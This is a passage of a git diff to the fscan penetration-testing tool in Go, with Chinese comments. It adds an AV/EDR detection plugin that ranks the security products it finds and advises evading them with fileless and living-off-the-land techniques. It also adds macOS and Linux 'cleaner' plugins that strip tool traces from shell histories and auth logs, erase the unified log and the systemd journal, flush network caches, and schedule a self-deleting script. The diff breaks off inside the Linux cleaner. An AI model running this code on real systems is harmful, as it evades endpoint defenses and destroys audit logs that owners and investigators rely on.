DetectedProcesses: detectedProcesses,
|
||||
URL: avProduct.URL,
|
||||
RiskLevel: p.assessRiskLevel(productName, detectedProcesses),
|
||||
Category: p.categorizeProduct(productName),
|
||||
}
|
||||
|
||||
results = append(results, result)
|
||||
}
|
||||
}
|
||||
|
||||
// 按检测到的进程数量排序
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
return len(results[i].DetectedProcesses) > len(results[j].DetectedProcesses)
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// deduplicateProcesses 去重进程列表
|
||||
func (p *AVDetectPlugin) deduplicateProcesses(processes []ProcessInfo) []ProcessInfo {
|
||||
seen := make(map[string]bool)
|
||||
var result []ProcessInfo
|
||||
|
||||
for _, process := range processes {
|
||||
key := fmt.Sprintf("%s-%s", process.Name, process.PID)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
result = append(result, process)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// assessRiskLevel 评估风险等级
|
||||
func (p *AVDetectPlugin) assessRiskLevel(productName string, processes []ProcessInfo) string {
|
||||
// 基于产品名称和进程数量评估风险等级
|
||||
productLower := strings.ToLower(productName)
|
||||
|
||||
// 高风险EDR产品
|
||||
highRiskKeywords := []string{"crowdstrike", "sentinelone", "cybereason", "endgame",
|
||||
"fireeye", "trellix", "elastic security", "深信服", "奇安信", "天擎"}
|
||||
|
||||
for _, keyword := range highRiskKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "HIGH"
|
||||
}
|
||||
}
|
||||
|
||||
// 中等风险(企业级AV)
|
||||
mediumRiskKeywords := []string{"kaspersky", "symantec", "mcafee", "趋势科技",
|
||||
"bitdefender", "eset", "sophos", "火绒", "360"}
|
||||
|
||||
for _, keyword := range mediumRiskKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "MEDIUM"
|
||||
}
|
||||
}
|
||||
|
||||
// 根据进程数量判断
|
||||
if len(processes) >= 3 {
|
||||
return "MEDIUM"
|
||||
}
|
||||
|
||||
return "LOW"
|
||||
}
|
||||
|
||||
// categorizeProduct 产品分类
|
||||
func (p *AVDetectPlugin) categorizeProduct(productName string) string {
|
||||
productLower := strings.ToLower(productName)
|
||||
|
||||
// EDR产品
|
||||
edrKeywords := []string{"edr", "endpoint", "crowdstrike", "sentinelone",
|
||||
"cybereason", "深信服edr", "天擎", "elastic security"}
|
||||
|
||||
for _, keyword := range edrKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "EDR"
|
||||
}
|
||||
}
|
||||
|
||||
// 企业级防病毒
|
||||
enterpriseKeywords := []string{"enterprise", "business", "server",
|
||||
"corporate", "管理版", "企业版"}
|
||||
|
||||
for _, keyword := range enterpriseKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "Enterprise AV"
|
||||
}
|
||||
}
|
||||
|
||||
// 云安全
|
||||
cloudKeywords := []string{"cloud", "阿里云", "腾讯云", "云锁", "云安全"}
|
||||
|
||||
for _, keyword := range cloudKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "Cloud Security"
|
||||
}
|
||||
}
|
||||
|
||||
// 主机防护
|
||||
hostKeywords := []string{"host", "hips", "主机", "防护", "卫士"}
|
||||
|
||||
for _, keyword := range hostKeywords {
|
||||
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||
return "Host Protection"
|
||||
}
|
||||
}
|
||||
|
||||
return "Traditional AV"
|
||||
}
|
||||
|
||||
// generateDetectionReport 生成检测报告
|
||||
func (p *AVDetectPlugin) generateDetectionReport(results []DetectionResult, systemInfo map[string]string) string {
|
||||
var report strings.Builder
|
||||
|
||||
report.WriteString("=== AV/EDR 检测报告 ===\n")
|
||||
report.WriteString(fmt.Sprintf("扫描时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
|
||||
report.WriteString(fmt.Sprintf("系统平台: %s/%s\n", systemInfo["os"], systemInfo["arch"]))
|
||||
report.WriteString(fmt.Sprintf("检测产品: %d 个\n\n", len(results)))
|
||||
|
||||
if len(results) == 0 {
|
||||
report.WriteString("未检测到已知的AV/EDR产品\n")
|
||||
report.WriteString("注意: 可能存在未知安全软件或进程伪装\n")
|
||||
return report.String()
|
||||
}
|
||||
|
||||
// 按风险等级分组
|
||||
riskGroups := map[string][]DetectionResult{
|
||||
"HIGH": {},
|
||||
"MEDIUM": {},
|
||||
"LOW": {},
|
||||
}
|
||||
|
||||
for _, result := range results {
|
||||
riskGroups[result.RiskLevel] = append(riskGroups[result.RiskLevel], result)
|
||||
}
|
||||
|
||||
// 高风险产品
|
||||
if len(riskGroups["HIGH"]) > 0 {
|
||||
report.WriteString("🔴 高风险安全产品:\n")
|
||||
for _, result := range riskGroups["HIGH"] {
|
||||
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||
for _, process := range result.DetectedProcesses {
|
||||
report.WriteString(fmt.Sprintf(" - %s (PID: %s)\n", process.Name, process.PID))
|
||||
}
|
||||
}
|
||||
report.WriteString("\n")
|
||||
}
|
||||
|
||||
// 中等风险产品
|
||||
if len(riskGroups["MEDIUM"]) > 0 {
|
||||
report.WriteString("🟡 中等风险安全产品:\n")
|
||||
for _, result := range riskGroups["MEDIUM"] {
|
||||
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||
}
|
||||
report.WriteString("\n")
|
||||
}
|
||||
|
||||
// 低风险产品
|
||||
if len(riskGroups["LOW"]) > 0 {
|
||||
report.WriteString("🟢 低风险安全产品:\n")
|
||||
for _, result := range riskGroups["LOW"] {
|
||||
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||
}
|
||||
report.WriteString("\n")
|
||||
}
|
||||
|
||||
// 建议
|
||||
report.WriteString("=== 渗透测试建议 ===\n")
|
||||
if len(riskGroups["HIGH"]) > 0 {
|
||||
report.WriteString("⚠️ 检测到高级EDR产品,建议:\n")
|
||||
report.WriteString(" - 使用内存加载技术\n")
|
||||
report.WriteString(" - 避免落地文件\n")
|
||||
report.WriteString(" - 使用白名单绕过技术\n")
|
||||
report.WriteString(" - 考虑Living off the Land技术\n\n")
|
||||
}
|
||||
|
||||
if len(results) > 1 {
|
||||
report.WriteString("📊 检测到多个安全产品,环境复杂度较高\n")
|
||||
}
|
||||
|
||||
return report.String()
|
||||
}
|
||||
|
||||
// GetLocalData 获取AV/EDR检测本地数据
|
||||
func (p *AVDetectPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["plugin_type"] = "avdetect"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
data["database_size"] = len(p.avDatabase)
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取AV/EDR检测数据
|
||||
func (p *AVDetectPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "AV/EDR检测完成",
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"detection_type": "automated",
|
||||
"database_version": "auto.json",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *AVDetectPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString(fmt.Sprintf("AV/EDR自动检测插件 - 规则库: %d 个产品\n", len(p.avDatabase)))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("检测方式: tasklist/ps + JSON规则匹配\n")
|
||||
info.WriteString("功能: 自动识别常见AV/EDR产品并评估风险等级\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterAVDetectPlugin 注册AV/EDR检测插件
|
||||
func RegisterAVDetectPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "avdetect",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件",
|
||||
Category: "local",
|
||||
Tags: []string{"avdetect", "local", "av", "edr", "security"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewAVDetectPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("avdetect", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterAVDetectPlugin()
|
||||
}
|
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
@ -0,0 +1,404 @@
|
||||
//go:build darwin
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理macOS系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Shell历史记录
|
||||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||
cleaned = append(cleaned, shellHistory...)
|
||||
report["shell_history"] = shellHistory
|
||||
}
|
||||
|
||||
// 2. 清理系统日志
|
||||
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
|
||||
cleaned = append(cleaned, systemLogs...)
|
||||
report["system_logs"] = systemLogs
|
||||
}
|
||||
|
||||
// 3. 清理最近项目记录
|
||||
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
|
||||
cleaned = append(cleaned, recentItems...)
|
||||
report["recent_items"] = recentItems
|
||||
}
|
||||
|
||||
// 4. 清理Spotlight索引
|
||||
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
|
||||
cleaned = append(cleaned, spotlight...)
|
||||
report["spotlight_index"] = spotlight
|
||||
}
|
||||
|
||||
// 5. 清理临时文件
|
||||
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
// 6. 清理LaunchServices数据库
|
||||
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
|
||||
cleaned = append(cleaned, launchServices...)
|
||||
report["launch_services"] = launchServices
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
|
||||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// macOS常见的Shell历史文件
|
||||
historyFiles := []string{
|
||||
".bash_history",
|
||||
".zsh_history",
|
||||
".sh_history",
|
||||
}
|
||||
|
||||
for _, histFile := range historyFiles {
|
||||
histPath := filepath.Join(homeDir, histFile)
|
||||
|
||||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(histPath)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||
continue
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 清理当前会话历史
|
||||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Current session history")
|
||||
common.LogSuccess("已清理当前会话历史记录")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMacSystemLogs 清理macOS系统日志
|
||||
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// macOS系统日志路径
|
||||
logPaths := []string{
|
||||
"/var/log/system.log",
|
||||
"/var/log/install.log",
|
||||
"/var/log/secure.log",
|
||||
}
|
||||
|
||||
// 用户日志目录
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir != "" {
|
||||
userLogDir := filepath.Join(homeDir, "Library", "Logs")
|
||||
if entries, err := os.ReadDir(userLogDir); err == nil {
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
|
||||
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, logPath := range logPaths {
|
||||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
if p.filterLogFile(logPath) {
|
||||
cleaned = append(cleaned, logPath)
|
||||
}
|
||||
}
|
||||
|
||||
// 使用log命令清理系统日志
|
||||
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Unified Logging System")
|
||||
common.LogSuccess("已清理统一日志系统")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// filterLogFile 过滤日志文件 (与Linux类似)
|
||||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
content, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// cleanRecentItems 清理macOS最近项目记录
|
||||
func (p *CleanerPlugin) cleanRecentItems() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近项目plist文件
|
||||
recentPaths := []string{
|
||||
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
|
||||
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
|
||||
}
|
||||
|
||||
for _, recentPath := range recentPaths {
|
||||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 对于plist文件,我们采用删除整个文件的方式
|
||||
if strings.HasSuffix(recentPath, ".plist") {
|
||||
if err := os.Remove(recentPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, recentPath)
|
||||
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanSpotlightIndex 清理Spotlight索引
|
||||
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 重建当前目录的Spotlight索引
|
||||
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
|
||||
common.LogSuccess("已重建Spotlight索引")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMacTempFiles 清理macOS临时文件
|
||||
func (p *CleanerPlugin) cleanMacTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
|
||||
// macOS临时目录
|
||||
tempDirs := []string{
|
||||
"/tmp",
|
||||
"/var/tmp",
|
||||
}
|
||||
|
||||
if homeDir != "" {
|
||||
tempDirs = append(tempDirs, []string{
|
||||
filepath.Join(homeDir, "Library", "Caches"),
|
||||
filepath.Join(homeDir, "Library", "Application Support"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
entryName := strings.ToLower(entry.Name())
|
||||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
|
||||
entryPath := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件修改时间
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if entry.IsDir() {
|
||||
if err := os.RemoveAll(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
p.cleanupStats["directories"]++
|
||||
}
|
||||
} else {
|
||||
if err := os.Remove(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanLaunchServicesDB 清理LaunchServices数据库
|
||||
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 重建LaunchServices数据库
|
||||
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "LaunchServices Database")
|
||||
common.LogSuccess("已重建LaunchServices数据库")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 清理DNS缓存
|
||||
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
|
||||
common.LogSuccess("已清理DNS缓存")
|
||||
}
|
||||
|
||||
// 清理mDNS缓存
|
||||
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "mDNS Cache")
|
||||
common.LogSuccess("已重启mDNSResponder")
|
||||
}
|
||||
|
||||
// 清理ARP缓存
|
||||
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
|
||||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建shell自毁脚本
|
||||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||
sleep 2
|
||||
rm -f "%s" 2>/dev/null
|
||||
rm -f "$0" 2>/dev/null
|
||||
exit 0`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||
|
||||
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command("/bin/bash", scriptPath)
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createUnixSelfDestruct()
|
||||
}
|
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
@ -0,0 +1,421 @@
|
||||
//go:build linux
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理Linux系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Shell历史记录
|
||||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||
cleaned = append(cleaned, shellHistory...)
|
||||
report["shell_history"] = shellHistory
|
||||
}
|
||||
|
||||
// 2. 清理系统日志
|
||||
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
|
||||
cleaned = append(cleaned, systemLogs...)
|
||||
report["system_logs"] = systemLogs
|
||||
}
|
||||
|
||||
// 3. 清理临时文件
|
||||
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
// 4. 清理用户缓存
|
||||
if userCache := p.cleanUserCache(); len(userCache) > 0 {
|
||||
cleaned = append(cleaned, userCache...)
|
||||
report["user_cache"] = userCache
|
||||
}
|
||||
|
||||
// 5. 清理最近访问记录
|
||||
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
|
||||
cleaned = append(cleaned, recentFiles...)
|
||||
report["recent_files"] = recentFiles
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanShellHistory 清理Shell历史记录
|
||||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 常见的Shell历史文件
|
||||
historyFiles := []string{
|
||||
".bash_history",
|
||||
".zsh_history",
|
||||
".fish_history",
|
||||
".sh_history",
|
||||
}
|
||||
|
||||
for _, histFile := range historyFiles {
|
||||
histPath := filepath.Join(homeDir, histFile)
|
||||
|
||||
// 检查文件是否存在
|
||||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取历史文件
|
||||
content, err := os.ReadFile(histPath)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 过滤掉包含fscan的行
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
// 写回过滤后的内容
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 清理当前会话的历史记录
|
||||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Current session history")
|
||||
common.LogSuccess("已清理当前会话历史记录")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanLinuxSystemLogs 清理Linux系统日志
|
||||
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 系统日志路径
|
||||
logPaths := []string{
|
||||
"/var/log/auth.log",
|
||||
"/var/log/syslog",
|
||||
"/var/log/messages",
|
||||
"/var/log/secure",
|
||||
"/var/log/user.log",
|
||||
}
|
||||
|
||||
for _, logPath := range logPaths {
|
||||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 尝试清理日志中的相关条目
|
||||
if p.filterLogFile(logPath) {
|
||||
cleaned = append(cleaned, logPath)
|
||||
}
|
||||
}
|
||||
|
||||
// 清理journal日志(如果有权限)
|
||||
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "systemd journal")
|
||||
common.LogSuccess("已清理systemd journal日志")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// filterLogFile 过滤日志文件
|
||||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||
// 检查读写权限
|
||||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// 读取文件内容
|
||||
content, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 过滤包含fscan的行
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
// 写回过滤后的内容
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
